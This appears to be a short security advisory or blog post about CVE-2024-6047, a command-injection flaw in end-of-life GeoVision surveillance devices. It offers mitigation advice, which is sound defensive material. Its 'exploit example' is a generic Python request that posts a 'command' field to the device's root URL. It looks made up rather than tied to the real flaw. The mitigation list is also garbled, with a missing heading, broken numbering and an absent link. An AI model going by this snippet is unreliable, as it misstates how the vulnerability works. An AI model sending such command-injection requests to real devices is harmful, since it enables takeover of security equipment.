CVE-2024-6047 - RCE Vulnerability on EOL GeoVision Devices Allowing Attackers to Inject System Commands

CVE-2024-6047 is an important vulnerability affecting several outdated GeoVision devices. These devices, used in various security-related areas such as video surveillance, access control, and license plate recognition, fail to properly filter user input for specific functionalities.

The vulnerability allows unauthenticated remote attackers to exploit the weakness and inject and execute arbitrary system commands on the affected devices. Since these devices often play a crucial part in ensuring security and integrity, this vulnerability presents serious risks to users who haven't replaced their outdated GeoVision devices.

This article will detail the vulnerability, provide a code snippet demonstrating the exploit, and discuss mitigation steps users can take.

Vulnerability Details

GeoVision, a Taiwanese company, manufactures various Internet of Things (IoT) devices, among other security products. The vulnerability denoted as CVE-2024-6047 was discovered on end-of-life (EOL) GeoVision devices that fail to sanitize user inputs adequately.

An attacker can remotely exploit this vulnerability to take full control of the system and perform malicious actions like altering system configurations, stealing sensitive information, and launching further attacks.

The affected GeoVision devices belong to older product lines that have been discontinued, meaning they won't receive security updates, which makes them even more vulnerable to attacks.

Exploit Example

The following Python code snippet demonstrates how an attacker could exploit the CVE-2024-6047 vulnerability on a GeoVision device:

import requests

# Replace IP_ADDRESS and PORT with the target device's details
target_url = "http://IP_ADDRESS:PORT";

# Replace COMMAND with the arbitrary system command to be executed
payload = {"command": "COMMAND"}

# Send the exploit request to the target device
response = requests.post(target_url, json=payload)

# Check if the exploit was successful
if response.status_code == 200:
    print("Command injection successful.")
else:
    print("Exploit failed.")

In this example, an attacker simply needs to replace IP_ADDRESS, PORT, and COMMAND values to target the vulnerable device. If the exploit is successful, the injected command will be executed on the target system.

Immediately replace EOL GeoVision devices with newer, supported models.

2. Ensure that all devices are running the latest firmware and have received recent patches. Detailed instructions on how to update firmware can be found in GeoVision's official guide: GeoVision Firmware Update Guide

3. Implement network segmentation to separate IoT devices from other critical systems and reduce potential exposure to attacks.

4. Utilize strong authentication and password policies to reduce the risk of unauthorized access to your IoT devices.

Regularly monitor and audit your devices for any suspicious activities.

By following these steps, users can safeguard their GeoVision devices and other IoT components from this vulnerability, maintain robust security, and prevent potential attacks.

Conclusion

The CVE-2024-6047 vulnerability poses a significant threat to users who still use outdated EOL GeoVision devices. As these devices are likely to be part of a larger security network, a successful exploit could lead to severe consequences.

We strongly recommend replacing the affected devices with newer supported models and ensure proper network segmentation, device monitoring, and firmware updates. By following these steps, users can minimize the risks associated with this vulnerability and maintain robust cyber defenses.
